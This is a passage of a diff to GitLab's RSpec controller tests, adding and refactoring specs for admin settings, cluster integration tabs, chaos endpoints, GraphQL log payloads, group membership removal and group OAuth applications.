+ expect(configuration[:mailboxes].map { |m| m[:inbox_method] }).to all(eq('microsoft_graph'))
+ expect(configuration[:mailboxes].map { |m| m[:inbox_options] }).to all(eq(expected_inbox_options))
+ expect(configuration[:mailboxes].map { |m| m[:delivery_options] }).to all(include(expected_options))
+ expect(configuration[:mailboxes].map { |m| m[:delivery_options] }).to all(include(expected_options))
+ expect(configuration[:mailboxes].map { |m| m[:arbitration_options] }).to all(include(expected_options))
+ end
+ end
+
def clear_queues_raw_config
Gitlab::Redis::Queues.remove_instance_variable(:@_raw_config)
rescue NameError
diff --git a/spec/lib/gitlab/usage_data_counters/aggregated_metrics_spec.rb b/spec/config/metrics/aggregates/aggregated_metrics_spec.rb
index 9aba86cdaf2..9aba86cdaf2 100644
--- a/spec/lib/gitlab/usage_data_counters/aggregated_metrics_spec.rb
+++ b/spec/config/metrics/aggregates/aggregated_metrics_spec.rb
diff --git a/spec/controllers/admin/application_settings_controller_spec.rb b/spec/controllers/admin/application_settings_controller_spec.rb
index 2b562e2dd64..6258dd30438 100644
--- a/spec/controllers/admin/application_settings_controller_spec.rb
+++ b/spec/controllers/admin/application_settings_controller_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Admin::ApplicationSettingsController do
+RSpec.describe Admin::ApplicationSettingsController, :do_not_mock_admin_mode_setting do
include StubENV
include UsageDataHelpers
@@ -164,6 +164,13 @@ RSpec.describe Admin::ApplicationSettingsController do
expect(ApplicationSetting.current.default_branch_name).to eq("example_branch_name")
end
+ it "updates admin_mode setting" do
+ put :update, params: { application_setting: { admin_mode: true } }
+
+ expect(response).to redirect_to(general_admin_application_settings_path)
+ expect(ApplicationSetting.current.admin_mode).to be(true)
+ end
+
context "personal access token prefix settings" do
let(:application_settings) { ApplicationSetting.current }
diff --git a/spec/controllers/admin/clusters_controller_spec.rb b/spec/controllers/admin/clusters_controller_spec.rb
index 85aa77d8473..bd0c2965906 100644
--- a/spec/controllers/admin/clusters_controller_spec.rb
+++ b/spec/controllers/admin/clusters_controller_spec.rb
@@ -546,20 +546,30 @@ RSpec.describe Admin::ClustersController do
describe 'GET #show' do
let(:cluster) { create(:cluster, :provided_by_gcp, :instance) }
- def get_show
+ def get_show(tab: nil)
get :show,
params: {
- id: cluster
+ id: cluster,
+ tab: tab
}
end
describe 'functionality' do
+ render_views
+
it 'responds successfully' do
get_show
expect(response).to have_gitlab_http_status(:ok)
expect(assigns(:cluster)).to eq(cluster)
end
+
+ it 'renders integration tab view' do
+ get_show(tab: 'integrations')
+
+ expect(response).to render_template('clusters/clusters/_integrations')
+ expect(response).to have_gitlab_http_status(:ok)
+ end
end
describe 'security' do
diff --git a/spec/controllers/admin/dev_ops_report_controller_spec.rb b/spec/controllers/admin/dev_ops_report_controller_spec.rb
index 913921b9630..142db175a15 100644
--- a/spec/controllers/admin/dev_ops_report_controller_spec.rb
+++ b/spec/controllers/admin/dev_ops_report_controller_spec.rb
@@ -5,7 +5,13 @@ require 'spec_helper'
RSpec.describe Admin::DevOpsReportController do
describe 'show_adoption?' do
it 'is always false' do
- expect(controller.show_adoption?).to be false
+ expect(controller.show_adoption?).to be_falsey
+ end
+ end
+
+ describe 'should_track_devops_score?' do
+ it 'is always true' do
+ expect(controller.should_track_devops_score?).to be_truthy
end
end
diff --git a/spec/controllers/admin/groups_controller_spec.rb b/spec/controllers/admin/groups_controller_spec.rb
index 38f4ce54e5c..8441a52b454 100644
--- a/spec/controllers/admin/groups_controller_spec.rb
+++ b/spec/controllers/admin/groups_controller_spec.rb
@@ -37,6 +37,12 @@ RSpec.describe Admin::GroupsController do
post :create, params: { group: { path: 'test', name: 'test' } }
end.to change { NamespaceSetting.count }.by(1)
end
+
+ it 'creates admin_note for group' do
+ expect do
+ post :create, params: { group: { path: 'test', name: 'test', admin_note_attributes: { note: 'test' } } }
+ end.to change { Namespace::AdminNote.count }.by(1)
+ end
end
describe 'PUT #members_update' do
diff --git a/spec/controllers/admin/impersonations_controller_spec.rb b/spec/controllers/admin/impersonations_controller_spec.rb
index 326003acaf8..744c0712d6b 100644
--- a/spec/controllers/admin/impersonations_controller_spec.rb
+++ b/spec/controllers/admin/impersonations_controller_spec.rb
@@ -42,7 +42,7 @@ RSpec.describe Admin::ImpersonationsController do
context "when the impersonator is not admin (anymore)" do
before do
impersonator.admin = false
- impersonator.save
+ impersonator.save!
end
it "responds with status 404" do
diff --git a/spec/controllers/admin/runners_controller_spec.rb b/spec/controllers/admin/runners_controller_spec.rb
index cba25dbff95..45ea8949bf2 100644
--- a/spec/controllers/admin/runners_controller_spec.rb
+++ b/spec/controllers/admin/runners_controller_spec.rb
@@ -125,7 +125,7 @@ RSpec.describe Admin::RunnersController do
describe '#resume' do
it 'marks the runner as active and ticks the queue' do
- runner.update(active: false)
+ runner.update!(active: false)
expect do
post :resume, params: { id: runner.id }
@@ -140,7 +140,7 @@ RSpec.describe Admin::RunnersController do
describe '#pause' do
it 'marks the runner as inactive and ticks the queue' do
- runner.update(active: true)
+ runner.update!(active: true)
expect do
post :pause, params: { id: runner.id }
diff --git a/spec/controllers/admin/services_controller_spec.rb b/spec/controllers/admin/services_controller_spec.rb
index 8e78cc75369..d5ec9907b48 100644
--- a/spec/controllers/admin/services_controller_spec.rb
+++ b/spec/controllers/admin/services_controller_spec.rb
@@ -44,7 +44,7 @@ RSpec.describe Admin::ServicesController do
describe "#update" do
let(:project) { create(:project) }
let!(:service_template) do
- RedmineService.create(
+ RedmineService.create!(
project: nil,
active: false,
template: true,
diff --git a/spec/controllers/application_controller_spec.rb b/spec/controllers/application_controller_spec.rb
index 4a729008e67..3d34db6c2c0 100644
--- a/spec/controllers/application_controller_spec.rb
+++ b/spec/controllers/application_controller_spec.rb
@@ -56,8 +56,6 @@ RSpec.describe ApplicationController do
end
end
- it_behaves_like 'a Trackable Controller'
-
describe '#add_gon_variables' do
before do
Gon.clear
@@ -900,7 +898,7 @@ RSpec.describe ApplicationController do
feature_category :issue_tracking
def index
- Labkit::Context.with_context do |context|
+ Gitlab::ApplicationContext.with_raw_context do |context|
render json: context.to_h
end
end
diff --git a/spec/controllers/boards/issues_controller_spec.rb b/spec/controllers/boards/issues_controller_spec.rb
index a7f3ab0089f..d23f099e382 100644
--- a/spec/controllers/boards/issues_controller_spec.rb
+++ b/spec/controllers/boards/issues_controller_spec.rb
@@ -404,7 +404,7 @@ RSpec.describe Boards::IssuesController do
list_id: list.try(:to_param)
}
- unless board.try(:parent)&.is_a?(Group)
+ unless board.try(:parent).is_a?(Group)
params[:namespace_id] = project.namespace.to_param
params[:project_id] = project
end
diff --git a/spec/controllers/chaos_controller_spec.rb b/spec/controllers/chaos_controller_spec.rb
index cb4f12ff829..26ae4a6b693 100644
--- a/spec/controllers/chaos_controller_spec.rb
+++ b/spec/controllers/chaos_controller_spec.rb
@@ -109,7 +109,7 @@ RSpec.describe ChaosController do
describe '#kill' do
it 'calls synchronously' do
- expect(Gitlab::Chaos).to receive(:kill).with(no_args)
+ expect(Gitlab::Chaos).to receive(:kill).with('KILL')
get :kill
@@ -117,7 +117,7 @@ RSpec.describe ChaosController do
end
it 'calls asynchronously' do
- expect(Chaos::KillWorker).to receive(:perform_async).with(no_args)
+ expect(Chaos::KillWorker).to receive(:perform_async).with('KILL')
get :kill, params: { async: 1 }
@@ -125,6 +125,24 @@ RSpec.describe ChaosController do
end
end
+ describe '#quit' do
+ it 'calls synchronously' do
+ expect(Gitlab::Chaos).to receive(:kill).with('QUIT')
+
+ get :quit
+
+ expect(response).to have_gitlab_http_status(:ok)
+ end
+
+ it 'calls asynchronously' do
+ expect(Chaos::KillWorker).to receive(:perform_async).with('QUIT')
+
+ get :quit, params: { async: 1 }
+
+ expect(response).to have_gitlab_http_status(:ok)
+ end
+ end
+
describe '#gc' do
let(:gc_stat) { GC.stat.stringify_keys }
diff --git a/spec/controllers/concerns/enforces_admin_authentication_spec.rb b/spec/controllers/concerns/enforces_admin_authentication_spec.rb
index c6ad1a00484..106b1d53fd2 100644
--- a/spec/controllers/concerns/enforces_admin_authentication_spec.rb
+++ b/spec/controllers/concerns/enforces_admin_authentication_spec.rb
@@ -19,7 +19,7 @@ RSpec.describe EnforcesAdminAuthentication do
end
end
- context 'feature flag :user_mode_in_session is enabled' do
+ context 'application setting :admin_mode is enabled' do
describe 'authenticate_admin!' do
context 'as an admin' do
let(:user) { create(:admin) }
@@ -61,9 +61,9 @@ RSpec.describe EnforcesAdminAuthentication do
end
end
- context 'feature flag :user_mode_in_session is disabled' do
+ context 'application setting :admin_mode is disabled' do
before do
- stub_feature_flags(user_mode_in_session: false)
+ stub_application_setting(admin_mode: false)
end
describe 'authenticate_admin!' do
diff --git a/spec/controllers/concerns/redis_tracking_spec.rb b/spec/controllers/concerns/redis_tracking_spec.rb
index 53b49dd30a6..4077f4f5cce 100644
--- a/spec/controllers/concerns/redis_tracking_spec.rb
+++ b/spec/controllers/concerns/redis_tracking_spec.rb
@@ -9,8 +9,8 @@ RSpec.describe RedisTracking do
include RedisTracking
skip_before_action :authenticate_user!, only: :show
- track_redis_hll_event :index, :show, name: 'g_compliance_approval_rules',
- if: [:custom_condition_one?, :custom_condition_two?]
+ track_redis_hll_event(:index, :show, name: 'g_compliance_approval_rules',
+ if: [:custom_condition_one?, :custom_condition_two?]) { |controller| controller.get_custom_id }
def index
render html: 'index'
@@ -24,6 +24,10 @@ RSpec.describe RedisTracking do
render html: 'show'
end
+ def get_custom_id
+ 'some_custom_id'
+ end
+
private
def custom_condition_one?
@@ -92,19 +96,15 @@ RSpec.describe RedisTracking do
end
end
- context 'when user is not logged in and there is a visitor_id' do
+ context 'when user is not logged in' do
let(:visitor_id) { SecureRandom.uuid }
- before do
- routes.draw { get 'show' => 'anonymous#show' }
- end
-
- it 'tracks the event' do
+ it 'tracks the event when there is a visitor id' do
cookies[:visitor_id] = { value: visitor_id, expires: 24.months }
expect_tracking
- get :show
+ get :show, params: { id: 1 }
end
end
@@ -114,5 +114,19 @@ RSpec.describe RedisTracking do
get :index
end
+
+ it 'tracks the event when there is custom id' do
+ expect_tracking
+
+ get :show, params: { id: 1 }
+ end
+
+ it 'does not track the event when there is no custom id' do
+ expect(controller).to receive(:get_custom_id).and_return(nil)
+
+ expect_no_tracking
+
+ get :show, params: { id: 2 }
+ end
end
end
diff --git a/spec/controllers/concerns/renders_commits_spec.rb b/spec/controllers/concerns/renders_commits_spec.rb
index 7be5f75c19d..7b241fc29af 100644
--- a/spec/controllers/concerns/renders_commits_spec.rb
+++ b/spec/controllers/concerns/renders_commits_spec.rb
@@ -57,4 +57,16 @@ RSpec.describe RendersCommits do
end.not_to exceed_all_query_limit(control_count)
end
end
+
+ describe '.prepare_commits_for_rendering' do
+ it 'avoids N+1' do
+ control = ActiveRecord::QueryRecorder.new do
+ subject.prepare_commits_for_rendering(merge_request.commits.take(1))
+ end
+
+ expect do
+ subject.prepare_commits_for_rendering(merge_request.commits)
+ end.not_to exceed_all_query_limit(control.count)
+ end
+ end
end
diff --git a/spec/controllers/dashboard/snippets_controller_spec.rb b/spec/controllers/dashboard/snippets_controller_spec.rb
index 016a9f53129..180369447b4 100644
--- a/spec/controllers/dashboard/snippets_controller_spec.rb
+++ b/spec/controllers/dashboard/snippets_controller_spec.rb
@@ -29,23 +29,6 @@ RSpec.describe Dashboard::SnippetsController do
it_behaves_like 'snippets sort order'
- context 'when views are rendered' do
- render_views
-
- it 'avoids N+1 database queries' do
- # Warming call to load everything non snippet related
- get(:index)
-
- project = create(:project, namespace: user.namespace)
- create(:project_snippet, project: project, author: user)
-
- control_count = ActiveRecord::QueryRecorder.new { get(:index) }.count
-
- project = create(:project, namespace: user.namespace)
- create(:project_snippet, project: project, author: user)
-
- expect { get(:index) }.not_to exceed_query_limit(control_count)
- end
- end
+ it_behaves_like 'snippets views'
end
end
diff --git a/spec/controllers/explore/snippets_controller_spec.rb b/spec/controllers/explore/snippets_controller_spec.rb
index f7bd2ba917e..e93e8502dfc 100644
--- a/spec/controllers/explore/snippets_controller_spec.rb
+++ b/spec/controllers/explore/snippets_controller_spec.rb
@@ -32,5 +32,9 @@ RSpec.describe Explore::SnippetsController do
expect(assigns(:snippets)).to all(be_a(PersonalSnippet))
expect(response).to have_gitlab_http_status(:ok)
end
+
+ it_behaves_like 'snippets views' do
+ let_it_be(:user) { create(:user) }
+ end
end
end
diff --git a/spec/controllers/graphql_controller_spec.rb b/spec/controllers/graphql_controller_spec.rb
index f10fbf5ef2c..f2d86b1b166 100644
--- a/spec/controllers/graphql_controller_spec.rb
+++ b/spec/controllers/graphql_controller_spec.rb
@@ -175,22 +175,44 @@ RSpec.describe GraphqlController do
end
describe '#append_info_to_payload' do
- let(:graphql_query) { graphql_query_for('project', { 'fullPath' => 'foo' }, %w(id name)) }
- let(:mock_store) { { graphql_logs: { foo: :bar } } }
+ let(:query_1) { { query: graphql_query_for('project', { 'fullPath' => 'foo' }, %w(id name), 'getProject_1') } }
+ let(:query_2) { { query: graphql_query_for('project', { 'fullPath' => 'bar' }, %w(id), 'getProject_2') } }
+ let(:graphql_queries) { [query_1, query_2] }
let(:log_payload) { {} }
+ let(:expected_logs) do
+ [
+ {
+ operation_name: 'getProject_1',
+ complexity: 3,
+ depth: 2,
+ used_deprecated_fields: [],
+ used_fields: ['Project.id', 'Project.name', 'Query.project'],
+ variables: '{}'
+ },
+ {
+ operation_name: 'getProject_2',
+ complexity: 2,
+ depth: 2,
+ used_deprecated_fields: [],
+ used_fields: ['Project.id', 'Query.project'],
+ variables: '{}'
+ }
+ ]
+ end
before do
- allow(RequestStore).to receive(:store).and_return(mock_store)
+ RequestStore.clear!
+
allow(controller).to receive(:append_info_to_payload).and_wrap_original do |method, *|
method.call(log_payload)
end
end
it 'appends metadata for logging' do
- post :execute, params: { query: graphql_query, operationName: 'Foo' }
+ post :execute, params: { _json: graphql_queries }
expect(controller).to have_received(:append_info_to_payload)
- expect(log_payload.dig(:metadata, :graphql)).to eq({ operation_name: 'Foo', foo: :bar })
+ expect(log_payload.dig(:metadata, :graphql)).to match_array(expected_logs)
end
end
end
diff --git a/spec/controllers/groups/boards_controller_spec.rb b/spec/controllers/groups/boards_controller_spec.rb
index 6201cddecb0..ca4931bdc90 100644
--- a/spec/controllers/groups/boards_controller_spec.rb
+++ b/spec/controllers/groups/boards_controller_spec.rb
@@ -16,6 +16,15 @@ RSpec.describe Groups::BoardsController do
expect { list_boards }.to change(group.boards, :count).by(1)
end
+ it 'pushes swimlanes_buffered_rendering feature flag' do
+ allow(controller).to receive(:push_frontend_feature_flag).and_call_original
+
+ expect(controller).to receive(:push_frontend_feature_flag)
+ .with(:swimlanes_buffered_rendering, group, default_enabled: :yaml)
+
+ list_boards
+ end
+
context 'when format is HTML' do
it 'renders template' do
list_boards
@@ -98,6 +107,15 @@ RSpec.describe Groups::BoardsController do
describe 'GET show' do
let!(:board) { create(:board, group: group) }
+ it 'pushes swimlanes_buffered_rendering feature flag' do
+ allow(controller).to receive(:push_frontend_feature_flag).and_call_original
+
+ expect(controller).to receive(:push_frontend_feature_flag)
+ .with(:swimlanes_buffered_rendering, group, default_enabled: :yaml)
+
+ read_board board: board
+ end
+
context 'when format is HTML' do
it 'renders template' do
expect { read_board board: board }.to change(BoardGroupRecentVisit, :count).by(1)
diff --git a/spec/controllers/groups/clusters_controller_spec.rb b/spec/controllers/groups/clusters_controller_spec.rb
index 1334372a1f5..93c560b4753 100644
--- a/spec/controllers/groups/clusters_controller_spec.rb
+++ b/spec/controllers/groups/clusters_controller_spec.rb
@@ -641,21 +641,31 @@ RSpec.describe Groups::ClustersController do
describe 'GET show' do
let(:cluster) { create(:cluster, :provided_by_gcp, cluster_type: :group_type, groups: [group]) }
- def go
+ def go(tab: nil)
get :show,
params: {
group_id: group,
- id: cluster
+ id: cluster,
+ tab: tab
}
end
describe 'functionality' do
+ render_views
+
it 'renders view' do
go
expect(response).to have_gitlab_http_status(:ok)
expect(assigns(:cluster)).to eq(cluster)
end
+
+ it 'renders integration tab view', :aggregate_failures do
+ go(tab: 'integrations')
+
+ expect(response).to render_template('clusters/clusters/_integrations')
+ expect(response).to have_gitlab_http_status(:ok)
+ end
end
describe 'security' do
diff --git a/spec/controllers/groups/dependency_proxy_auth_controller_spec.rb b/spec/controllers/groups/dependency_proxy_auth_controller_spec.rb
index 857e0570621..f67b2022219 100644
--- a/spec/controllers/groups/dependency_proxy_auth_controller_spec.rb
+++ b/spec/controllers/groups/dependency_proxy_auth_controller_spec.rb
@@ -31,6 +31,7 @@ RSpec.describe Groups::DependencyProxyAuthController do
context 'with valid JWT' do
let_it_be(:user) { create(:user) }
+
let(:jwt) { build_jwt(user) }
let(:token_header) { "Bearer #{jwt.encoded}" }
@@ -65,6 +66,7 @@ RSpec.describe Groups::DependencyProxyAuthController do
context 'expired token' do
let_it_be(:user) { create(:user) }
+
let(:jwt) { build_jwt(user, expire_time: Time.zone.now - 1.hour) }
let(:token_header) { "Bearer #{jwt.encoded}" }
diff --git a/spec/controllers/groups/dependency_proxy_for_containers_controller_spec.rb b/spec/controllers/groups/dependency_proxy_for_containers_controller_spec.rb
index 83775dcdbdf..9f30a850ca2 100644
--- a/spec/controllers/groups/dependency_proxy_for_containers_controller_spec.rb
+++ b/spec/controllers/groups/dependency_proxy_for_containers_controller_spec.rb
@@ -7,6 +7,7 @@ RSpec.describe Groups::DependencyProxyForContainersController do
include DependencyProxyHelpers
let_it_be(:user) { create(:user) }
+
let(:group) { create(:group) }
let(:token_response) { { status: :success, token: 'abcd1234' } }
let(:jwt) { build_jwt(user) }
@@ -102,6 +103,7 @@ RSpec.describe Groups::DependencyProxyForContainersController do
describe 'GET #manifest' do
let_it_be(:manifest) { create(:dependency_proxy_manifest) }
+
let(:pull_response) { { status: :success, manifest: manifest } }
before do
@@ -182,6 +184,7 @@ RSpec.describe Groups::DependencyProxyForContainersController do
describe 'GET #blob' do
let_it_be(:blob) { create(:dependency_proxy_blob) }
+
let(:blob_sha) { blob.file_name.sub('.gz', '') }
let(:blob_response) { { status: :success, blob: blob } }
diff --git a/spec/controllers/groups/group_links_controller_spec.rb b/spec/controllers/groups/group_links_controller_spec.rb
index a2f7161ca41..94d3c1ffa0f 100644
--- a/spec/controllers/groups/group_links_controller_spec.rb
+++ b/spec/controllers/groups/group_links_controller_spec.rb
@@ -9,16 +9,17 @@ RSpec.describe Groups::GroupLinksController do
let(:group_member) { create(:user) }
let!(:project) { create(:project, group: shared_group) }
- around do |example|
- travel_to DateTime.new(2019, 4, 1) { example.run }
- end
-
before do
+ travel_to DateTime.new(2019, 4, 1)
sign_in(user)
shared_with_group.add_developer(group_member)
end
+ after do
+ travel_back
+ end
+
shared_examples 'placeholder is passed as `id` parameter' do |action|
it 'returns a 404' do
post(
diff --git a/spec/controllers/groups/group_members_controller_spec.rb b/spec/controllers/groups/group_members_controller_spec.rb
index ff7a7f55863..19655687028 100644
--- a/spec/controllers/groups/group_members_controller_spec.rb
+++ b/spec/controllers/groups/group_members_controller_spec.rb
@@ -9,8 +9,12 @@ RSpec.describe Groups::GroupMembersController do
let(:group) { create(:group, :public) }
let(:membership) { create(:group_member, group: group) }
- around do |example|
- travel_to DateTime.new(2019, 4, 1) { example.run }
+ before do
+ travel_to DateTime.new(2019, 4, 1)
+ end
+
+ after do
+ travel_back
end
describe 'GET index' do
@@ -288,7 +292,9 @@ RSpec.describe Groups::GroupMembersController do
end
describe 'DELETE destroy' do
- let(:member) { create(:group_member, :developer, group: group) }
+ let(:sub_group) { create(:group, parent: group) }
+ let!(:member) { create(:group_member, :developer, group: group) }
+ let!(:sub_member) { create(:group_member, :developer, group: sub_group, user: member.user) }
before do
sign_in(user)
@@ -324,9 +330,19 @@ RSpec.describe Groups::GroupMembersController do
it '[HTML] removes user from members' do
delete :destroy, params: { group_id: group, id: member }
- expect(response).to set_flash.to 'User was successfully removed from group and any subresources.'
+ expect(response).to set_flash.to 'User was successfully removed from group.'
+ expect(response).to redirect_to(group_group_members_path(group))
+ expect(group.members).not_to include member
+ expect(sub_group.members).to include sub_member
+ end
+
+ it '[HTML] removes user from members including subgroups and projects' do
+ delete :destroy, params: { group_id: group, id: member, remove_sub_memberships: true }
+
+ expect(response).to set_flash.to 'User was successfully removed from group and any subgroups and projects.'
expect(response).to redirect_to(group_group_members_path(group))
expect(group.members).not_to include member
+ expect(sub_group.members).not_to include sub_member
end
it '[JS] removes user from members' do
diff --git a/spec/controllers/groups/labels_controller_spec.rb b/spec/controllers/groups/labels_controller_spec.rb
index b2320615778..90da40cd5f0 100644
--- a/spec/controllers/groups/labels_controller_spec.rb
+++ b/spec/controllers/groups/labels_controller_spec.rb
@@ -46,6 +46,24 @@ RSpec.describe Groups::LabelsController do
it_behaves_like 'disabled when using an external authorization service'
end
+
+ context 'with views rendered' do
+ render_views
+
+ before do
+ get :index, params: { group_id: group.to_param }
+ end
+
+ it 'avoids N+1 queries' do
+ control = ActiveRecord::QueryRecorder.new(skip_cached: false) { get :index, params: { group_id: group.to_param } }
+
+ create_list(:group_label, 3, group: group)
+
+ # some n+1 queries still exist
+ expect { get :index, params: { group_id: group.to_param } }.not_to exceed_all_query_limit(control.count).with_threshold(10)
+ expect(assigns(:labels).count).to eq(4)
+ end
+ end
end
describe 'POST #toggle_subscription' do
diff --git a/spec/controllers/groups/milestones_controller_spec.rb b/spec/controllers/groups/milestones_controller_spec.rb
index 05e93da18e7..a3c4c47ab15 100644
--- a/spec/controllers/groups/milestones_controller_spec.rb
+++ b/spec/controllers/groups/milestones_controller_spec.rb
@@ -322,7 +322,7 @@ RSpec.describe Groups::MilestonesController do
end
context 'when requesting a redirected path' do
- let(:redirect_route) { group.redirect_routes.create(path: 'old-path') }
+ let(:redirect_route) { group.redirect_routes.create!(path: 'old-path') }
it 'redirects to the canonical path' do
get :merge_requests, params: { group_id: redirect_route.path, id: title }
@@ -350,7 +350,7 @@ RSpec.describe Groups::MilestonesController do
end
context 'when the old group path is a substring of the scheme or host' do
- let(:redirect_route) { group.redirect_routes.create(path: 'http') }
+ let(:redirect_route) { group.redirect_routes.create!(path: 'http') }
it 'does not modify the requested host' do
get :merge_requests, params: { group_id: redirect_route.path, id: title }
@@ -362,7 +362,7 @@ RSpec.describe Groups::MilestonesController do
context 'when the old group path is substring of groups' do
# I.e. /groups/oups should not become /grfoo/oups
- let(:redirect_route) { group.redirect_routes.create(path: 'oups') }
+ let(:redirect_route) { group.redirect_routes.create!(path: 'oups') }
it 'does not modify the /groups part of the path' do
get :merge_requests, params: { group_id: redirect_route.path, id: title }
@@ -374,7 +374,7 @@ RSpec.describe Groups::MilestonesController do
context 'when the old group path is substring of groups plus the new path' do
# I.e. /groups/oups/oup should not become /grfoos
- let(:redirect_route) { group.redirect_routes.create(path: 'oups/oup') }
+ let(:redirect_route) { group.redirect_routes.create!(path: 'oups/oup') }
it 'does not modify the /groups part of the path' do
get :merge_requests, params: { group_id: redirect_route.path, id: title }
@@ -411,7 +411,7 @@ RSpec.describe Groups::MilestonesController do
end
context 'when requesting a redirected path' do
- let(:redirect_route) { group.redirect_routes.create(path: 'old-path') }
+ let(:redirect_route) { group.redirect_routes.create!(path: 'old-path') }
it 'returns not found' do
post :create,
diff --git a/spec/controllers/groups/registry/repositories_controller_spec.rb b/spec/controllers/groups/registry/repositories_controller_spec.rb
index 70125087f30..35c9a80266e 100644
--- a/spec/controllers/groups/registry/repositories_controller_spec.rb
+++ b/spec/controllers/groups/registry/repositories_controller_spec.rb
@@ -6,6 +6,7 @@ RSpec.describe Groups::Registry::RepositoriesController do
let_it_be(:user) { create(:user) }
let_it_be(:guest) { create(:user) }
let_it_be(:group, reload: true) { create(:group) }
+
let(:additional_parameters) { {} }
subject do
diff --git a/spec/controllers/groups/runners_controller_spec.rb b/spec/controllers/groups/runners_controller_spec.rb
index 91ff0a53ec7..d6da9a4e8d0 100644
--- a/spec/controllers/groups/runners_controller_spec.rb
+++ b/spec/controllers/groups/runners_controller_spec.rb
@@ -220,7 +220,7 @@ RSpec.describe Groups::RunnersController do
end
it 'marks the runner as active, ticks the queue, and redirects' do
- runner.update(active: false)
+ runner.update!(active: false)
expect do
post :resume, params: params
@@ -231,7 +231,7 @@ RSpec.describe Groups::RunnersController do
end
it 'marks the project runner as active, ticks the queue, and redirects' do
- runner_project.update(active: false)
+ runner_project.update!(active: false)
expect do
post :resume, params: params_runner_project
@@ -248,7 +248,7 @@ RSpec.describe Groups::RunnersController do
end
it 'responds 404 and does not activate the runner' do
- runner.update(active: false)
+ runner.update!(active: false)
expect do
post :resume, params: params
@@ -259,7 +259,7 @@ RSpec.describe Groups::RunnersController do
end
it 'responds 404 and does not activate the project runner' do
- runner_project.update(active: false)
+ runner_project.update!(active: false)
expect do
post :resume, params: params_runner_project
@@ -278,7 +278,7 @@ RSpec.describe Groups::RunnersController do
end
it 'marks the runner as inactive, ticks the queue, and redirects' do
- runner.update(active: true)
+ runner.update!(active: true)
expect do
post :pause, params: params
@@ -289,7 +289,7 @@ RSpec.describe Groups::RunnersController do
end
it 'marks the project runner as inactive, ticks the queue, and redirects' do
- runner_project.update(active: true)
+ runner_project.update!(active: true)
expect do
post :pause, params: params_runner_project
@@ -306,7 +306,7 @@ RSpec.describe Groups::RunnersController do
end
it 'responds 404 and does not update the runner or queue' do
- runner.update(active: true)
+ runner.update!(active: true)
expect do
post :pause, params: params
@@ -317,7 +317,7 @@ RSpec.describe Groups::RunnersController do
end
it 'responds 404 and does not update the project runner or queue' do
- runner_project.update(active: true)
+ runner_project.update!(active: true)
expect do
post :pause, params: params
diff --git a/spec/controllers/groups/settings/applications_controller_spec.rb b/spec/controllers/groups/settings/applications_controller_spec.rb
new file mode 100644
index 00000000000..0804a5536e0
--- /dev/null
+++ b/spec/controllers/groups/settings/applications_controller_spec.rb
@@ -0,0 +1,219 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Groups::Settings::ApplicationsController do
+ let_it_be(:user) { create(:user) }
+ let_it_be(:group) { create(:group) }
+ let_it_be(:application) { create(:oauth_application, owner_id: group.id, owner_type: 'Namespace') }
+
+ before do
+ sign_in(user)
+ end
+
+ describe 'GET #index' do
+ context 'when user is owner' do
+ before do
+ group.add_owner(user)
+ end
+
+ it 'renders the application form' do
+ get :index, params: { group_id: group }
+
+ expect(response).to render_template :index
+ expect(assigns[:scopes]).to be_kind_of(Doorkeeper::OAuth::Scopes)
+ end
+ end
+
+ context 'when user is not owner' do
+ before do
+ group.add_maintainer(user)
+ end
+
+ it 'renders a 404' do
+ get :index, params: { group_id: group }
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+ end
+ end
+
+ describe 'GET #edit' do
+ context 'when user is owner' do
+ before do
+ group.add_owner(user)
+ end
+
+ it 'renders the application form' do
+ get :edit, params: { group_id: group, id: application.id }
+
+ expect(response).to render_template :edit
+ expect(assigns[:scopes]).to be_kind_of(Doorkeeper::OAuth::Scopes)
+ end
+ end
+
+ context 'when user is not owner' do
+ before do
+ group.add_maintainer(user)
+ end
+
+ it 'renders a 404' do
+ get :edit, params: { group_id: group, id: application.id }
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+ end
+ end
+
+ describe 'POST #create' do
+ context 'when user is owner' do
+ before do
+ group.add_owner(user)
+ end
+
+ it 'creates the application' do
+ create_params = attributes_for(:application, trusted: false, confidential: false, scopes: ['api'])
+
+ expect do
+ post :create, params: { group_id: group, doorkeeper_application: create_params }
+ end.to change { Doorkeeper::Application.count }.by(1)
+
+ application = Doorkeeper::Application.last
+
+ expect(response).to redirect_to(group_settings_application_path(group, application))
+ expect(application).to have_attributes(create_params.except(:uid, :owner_type))
+ end
+
+ it 'renders the application form on errors' do
+ expect do
+ post :create, params: { group_id: group, doorkeeper_application: attributes_for(:application).merge(redirect_uri: nil) }
+ end.not_to change { Doorkeeper::Application.count }
+
+ expect(response).to render_template :index
+ expect(assigns[:scopes]).to be_kind_of(Doorkeeper::OAuth::Scopes)
+ end
+
+ context 'when the params are for a confidential application' do
+ it 'creates a confidential application' do
+ create_params = attributes_for(:application, confidential: true, scopes: ['read_user'])
+
+ expect do
+ post :create, params: { group_id: group, doorkeeper_application: create_params }
+ end.to change { Doorkeeper::Application.count }.by(1)
+
+ application = Doorkeeper::Application.last
+
+ expect(response).to redirect_to(group_settings_application_path(group, application))
+ expect(application).to have_attributes(create_params.except(:uid, :owner_type))
+ end
+ end
+
+ context 'when scopes are not present' do
+ it 'renders the application form on errors' do
+ create_params = attributes_for(:application, trusted: true, confidential: false)
+
+ expect do
+ post :create, params: { group_id: group, doorkeeper_application: create_params }
+ end.not_to change { Doorkeeper::Application.count }
+
+ expect(response).to render_template :index
+ end
+ end
+ end
+
+ context 'when user is not owner' do
+ before do
+ group.add_maintainer(user)
+ end
+
+ it 'renders a 404' do
+ create_params = attributes_for(:application, trusted: true, confidential: false, scopes: ['api'])
+
+ post :create, params: { group_id: group, doorkeeper_application: create_params }
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+ end
+ end
+
+ describe 'PATCH #update' do
+ context 'when user is owner' do
+ before do
+ group.add_owner(user)
+ end
+
+ it 'updates the application' do
+ doorkeeper_params = { redirect_uri: 'http://example.com/', trusted: true, confidential: false }
+
+ patch :update, params: { group_id: group, id: application.id, doorkeeper_application: doorkeeper_params }
+
+ application.reload
+
+ expect(response).to redirect_to(group_settings_application_path(group, application))
+ expect(application)
+ .to have_attributes(redirect_uri: 'http://example.com/', trusted: false, confidential: false)
+ end
+
+ it 'renders the application form on errors' do
+ patch :update, params: { group_id: group, id: application.id, doorkeeper_application: { redirect_uri: nil } }
+
+ expect(response).to render_template :edit
